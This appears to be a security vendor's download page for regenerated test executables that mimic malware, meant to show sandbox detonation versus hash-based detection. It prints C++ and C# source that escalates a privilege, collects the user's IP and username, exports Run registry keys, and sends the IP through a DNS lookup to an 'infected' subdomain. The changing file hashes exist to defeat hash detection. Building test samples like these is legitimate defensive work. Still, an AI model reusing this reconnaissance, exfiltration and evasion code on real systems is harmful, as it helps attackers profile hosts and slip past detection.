Download this file on the target computer and investigate in the security tools.
Hash based tools should not detect it.
Sandbox tools should detonate and detect.
If you have an inline realtime blocking tool, this file should not get delivered.
* Demonstrate the value of real time detonation vs hash based technologies.
* Test your deployment, 1 click proves that the integrations are talking together
* Use over HTTPs to test decryption configurations
File | MD5 Hash | Created | Size |
---|---|---|---|
malware_eicar_cpayne_1733147402.exe | 14e81ecbf578bdfc10f6eea21ab9af99 | December 02 2024 13:50:04 GMT | 4775532 bytes |
malware_eicar_cpayne_1733145245.exe | 31e927b62e8a82601058e9349ebcc9ff | December 02 2024 13:14:07 GMT | 4775532 bytes |
malware_eicar_cpayne_1733142096.exe | 8d0118105e2f3265fd5ddceeeaefe13f | December 02 2024 12:21:37 GMT | 4775532 bytes |
malware_eicar_cpayne_1733055652.exe | 34bf47150591798c3652a76faabddc03 | December 01 2024 12:20:53 GMT | 4775532 bytes |
malware_eicar_cpayne_1733055033.exe | 891d2635b224d7494b8b07dd79b2bc6b | December 01 2024 12:10:34 GMT | 4775532 bytes |
malware_eicar_cpayne_1733039708.exe | b77797517ab95dc0ccb7ac374de502c8 | December 01 2024 07:55:10 GMT | 4775532 bytes |
malware_eicar_cpayne_1733014595.exe | d9524e11f3896b333d79eb72d513b134 | December 01 2024 00:56:36 GMT | 4775532 bytes |
malware_eicar_cpayne_1732984741.exe | 96cb66ef9782b4fdfb035db87ca2518c | November 30 2024 16:39:02 GMT | 4775532 bytes |
malware_eicar_cpayne_1732888272.exe | 69b85dbbb80bdc669cbe8e529cd97bd4 | November 29 2024 13:51:13 GMT | 4775532 bytes |
malware_eicar_cpayne_1732832637.exe | 535e47012a2f86bde2497a3601d15be9 | November 28 2024 22:23:58 GMT | 4775532 bytes |
> #cat /path/malware_eicar.cs
/*
MAATrigger-Payload - John Payne
------------------------
Windows C++ executable - once executed it will perform the following,
closly matching original C# code. Targeted for Windows 7+ operating systems
What this code does:
- Gain privs to allow registry access
- Connects to bot.whatismyipaddress.com & and get IP
- Get current Windows user
- Write IP and Windows user to file (current DIR\drop.txt)
- Export registry keys to file (current DIR\export.reg)
- Create mutex "1234-7" - red flag in MAA
- Sleep for 60000ms
*/
#include
#include
#include "windows.h" // C++ Windows API
#include
#pragma comment(lib, "Ws2_32.lib") // winsock2 libary
using namespace std;
bool gainPriv();
int main() {
cout << "Blessings Payload Application\n";
/* Gain the neccessary priv's to perform admin functions on Windows
------------------------------------------------------------------*/
cout << "Escalating privileges if possible...\n";
if (gainPriv()) {
cout << "Privileges escalated successfully.\n";
}
else {
cout << "Could not escalate privileges. Likely running as locked down user with limited OS access, or other security mechanisms in place.\n";
}
/* located external IP address. Note very little error checking here
------------------------------------------------------------------ */
WSADATA wsaData;
sockaddr_in serverInfo;
char request[] = "GET / HTTP/1.0\r\nHost: bot.whatismyipaddress.com\r\nUser-Agent: Blessings\r\nConnection: Close\r\n\r\n";
char recvBuf[512] = "";
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr.s_addr = inet_addr("66.171.248.178"); // bot.whatismyipaddress.com
serverInfo.sin_port = htons(80);
int err = WSAStartup(MAKEWORD(2,2), &wsaData);
int sockfd = ::socket(AF_INET, SOCK_STREAM, 0);
err = ::connect(sockfd, (SOCKADDR *)&serverInfo, sizeof(serverInfo));
err = ::send(sockfd, request, (int)strlen(request), 0);
// recv loop, server *Should* respect the Connection: close header so this can be kept simple
do {
err = recv(sockfd, recvBuf, 512, 0);
if (err > 0)
cout << "Recieved " << err << "OK.\n";
else if (err == 0)
cout << "Connection gracefully closed.\n";
else
cout << "Something went wrong with recv()\n";
} while (err > 0);
WSACleanup();
/* Get Windows Username
------------------------------------------------------------------*/
char currentUser[128];
DWORD userSize = 512;
int ret = GetUserNameA(currentUser, &userSize);
if (ret == 0) {
cout << "Error with username: " << GetLastError() << endl;
}
cout << "Current user is " << currentUser << endl;
/* Write IP and username to a file
------------------------------------------------------------------*/
ofstream outFile;
outFile.open("drop.txt", ios::out);
outFile << "Dropped by MAATrigger-Payload\nUsername: " << currentUser << endl;
outFile << "External IP: " << recvBuf << endl;
outFile.close();
/* perform registry query and export to current DIR\export.reg
------------------------------------------------------------------*/
REGSAM regAccess = KEY_READ;
HKEY keyResult;
LONG lresult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, regAccess, &keyResult);
if (lresult == ERROR_SUCCESS) {
cout << "Opened key OK.\n";
}
else {
cout << "Failed to open key.\n";
}
LONG saveResult = RegSaveKeyEx(keyResult, TEXT("export.reg"), NULL, REG_STANDARD_FORMAT);
if (saveResult == ERROR_SUCCESS) {
cout << "Saved keys OK.\n";
}
else {
cout << "Failed to save keys. Error " << saveResult << endl;
}
/* Create Windows Mutex
------------------------------------------------------------------*/
HANDLE mytex = CreateMutex(NULL, TRUE, "1234-7");
if (mytex == NULL) {
cout << "Error creating mutex.\n";
}
else {
cout << "Mutex created OK.\n";
}
ReleaseMutex(mytex);
/* perform sleep for 60 seconds
------------------------------------------------------------------*/
Sleep(60000);
// all done!
return 0;
}
bool gainPriv() {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES newState;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
cout << "Failed OpenProcessToken.\n";
return false;
}
if (!LookupPrivilegeValue(NULL, SE_BACKUP_NAME, &luid))
{
CloseHandle(hToken);
printf("Failed LookupPrivilegeValue\n");
return false;
}
newState.PrivilegeCount = 1;
newState.Privileges[0].Luid = luid;
newState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Adjust the token privilege.
if (!AdjustTokenPrivileges(hToken, FALSE, &newState, 0, NULL, NULL))
{
printf("Failed AdjustTokenPrivileges\n");
return false;
}
// Close the handle.
CloseHandle(hToken);
return true;
}
Download this file on the target computer and investigate in the security tools.
Hash based tools should not detect it.
Sandbox tools should detonate and detect.
If you have an inline realtime blocking tool, this file should not get delivered.
* Demonstrate the value of real time detonation vs hash based technologies.
* Test your deployment, 1 click proves that the integrations are talking together
* Use over HTTPs to test decryption configurations
File | MD5 Hash | Created | Size |
---|---|---|---|
malware_eicar_csharp_1733157309.exe | c17218c50d1a2dfe217dcafce09b4422 | December 02 2024 16:35:10 GMT | 5120 bytes |
malware_eicar_csharp_1733146881.exe | 407bada36c948b516fc6446dda5164f6 | December 02 2024 13:41:21 GMT | 5120 bytes |
malware_eicar_csharp_1733146392.exe | 6747a42c169972514eaa9888db799af8 | December 02 2024 13:33:13 GMT | 5120 bytes |
malware_eicar_csharp_1733129206.exe | f7868c8b42f4b321b692f56c1a7c2b6b | December 02 2024 08:46:47 GMT | 5120 bytes |
malware_eicar_csharp_1733066368.exe | 131c8475b4be2b316ad733a199fdd47e | December 01 2024 15:19:29 GMT | 5120 bytes |
malware_eicar_csharp_1733055676.exe | 950fc81c2b515fdef137bf6e6ee320aa | December 01 2024 12:21:17 GMT | 5120 bytes |
malware_eicar_csharp_1733039701.exe | 2953c65fc7eb6c5bf027cd771f5ed041 | December 01 2024 07:55:02 GMT | 5120 bytes |
malware_eicar_csharp_1732984650.exe | 946c4fe01b0b4c2f6ca8b0b8f78efe9c | November 30 2024 16:37:30 GMT | 5120 bytes |
malware_eicar_csharp_1732969616.exe | 91b7a31fa85e3a8b836f57bde2e81561 | November 30 2024 12:26:56 GMT | 5120 bytes |
malware_eicar_csharp_1732890043.exe | 8a0589ff5cdeaf5dfc106bb9fc13b21e | November 29 2024 14:20:43 GMT | 5120 bytes |
> #cat /path/malware_eicar.cs
using System;
using System.Net;
using System.Web;
using System.Text;
using System.Text.RegularExpressions;
using System.Diagnostics;
using System.ComponentModel;
namespace blessings.Mono.Eicar
{
public class HelloMalware
{
public static void Main(string[] args)
{
Console.Write("I'm up to no good");
Console.Write("dynamic=ffc89310d674302ab4c8745409994bf9"); //Hash derived from system clock to keep exe hash changing
WebClient webClient = new WebClient();
byte[] myIp = webClient.DownloadData("http://bot.whatismyipaddress.com/");
string[] output = new string[5];
output[0] = System.Text.Encoding.Default.GetString(myIp);
output[1] = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
System.IO.File.WriteAllLines(@"./scraped_info.txt",output) ;
System.IO.File.WriteAllText(@"./fake_rasauto32.dll",":)") ;
Export(@".\export.reg", @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
IPHostEntry hostInfo = Dns.GetHostEntry(output[0]+".infected.7blessings.co.uk");
System.Threading.Mutex _mutey = null;
_mutey = new System.Threading.Mutex(false, "1234-7");
Console.Write(System.Environment.NewLine+"Finished");
Console.ReadLine();
System.Threading.Thread.Sleep(60000);
}
private static void Export(string exportPath, string registryPath)
{
string path = "\""+ exportPath + "\"";
string key = "\""+ registryPath + "\"";
Process proc = new Process();
try
{
proc.StartInfo.FileName = "regedit.exe";
proc.StartInfo.UseShellExecute = false;
proc = Process.Start("regedit.exe", "/e " + path + " "+ key);
proc.WaitForExit();
}
catch (Exception)
{
proc.Dispose();
}
}
}
}
Many thanks to https://github.com/a0rtega/pafish for your work!
Generated 100% benign compiled exe that mimics behaviour actions of genuine malware. As the malware is generated frequently, the hash should already not be known to any security tool.
This tool differs from the above as it detonates in a Sandbox, and not the full iVM making it ideal for testing and showing MASS.
Download this file on the target computer and investigate in the security tools.
Hash based tools should not detect it.
Sandbox tools should detonate and detect.
If you have an inline realtime blocking tool, this file should not get delivered.
* Demonstrate the value of real time detonation vs hash based technologies.
* Demonstrate security delivere to devices using Cloud proxy
* Use over HTTPs to test decryption configurations
File | MD5 Hash | Created | Size |
---|---|---|---|
pafish_appendedepoch_1733143763.exe | 85018e2dccb290d7d13dea5740f4648b | December 02 2024 12:49:23 GMT | 76811 bytes |
pafish_appendedepoch_1733143761.exe | e62b535a96108ac3c5185bfaef772289 | December 02 2024 12:49:21 GMT | 76811 bytes |
pafish_appendedepoch_1733124653.exe | dff5a20ed9f9a71aee34b67c3bfc09c4 | December 02 2024 07:30:53 GMT | 76811 bytes |
pafish_appendedepoch_1733111338.exe | 9c1fd745bafdf216bb8f03572c344626 | December 02 2024 03:48:58 GMT | 76811 bytes |
pafish_appendedepoch_1733109431.exe | 9f30971e46f540129747aa0eb276a751 | December 02 2024 03:17:11 GMT | 76811 bytes |
pafish_appendedepoch_1733067482.exe | cfccac9cbf5139e487833dbbd7602737 | December 01 2024 15:38:02 GMT | 76811 bytes |
pafish_appendedepoch_1733055060.exe | 92d6529122a6b17f172950b7c3664f5d | December 01 2024 12:11:00 GMT | 76811 bytes |
pafish_appendedepoch_1733039695.exe | fcca7d25cbd4ca73cae6c976214fa397 | December 01 2024 07:54:55 GMT | 76811 bytes |
pafish_appendedepoch_1733027041.exe | 9b50feda618d9f196853fa2343a38163 | December 01 2024 04:24:01 GMT | 76811 bytes |
pafish_appendedepoch_1733020887.exe | a7db36681c33cb9181ea38b1b09fe34d | December 01 2024 02:41:27 GMT | 76811 bytes |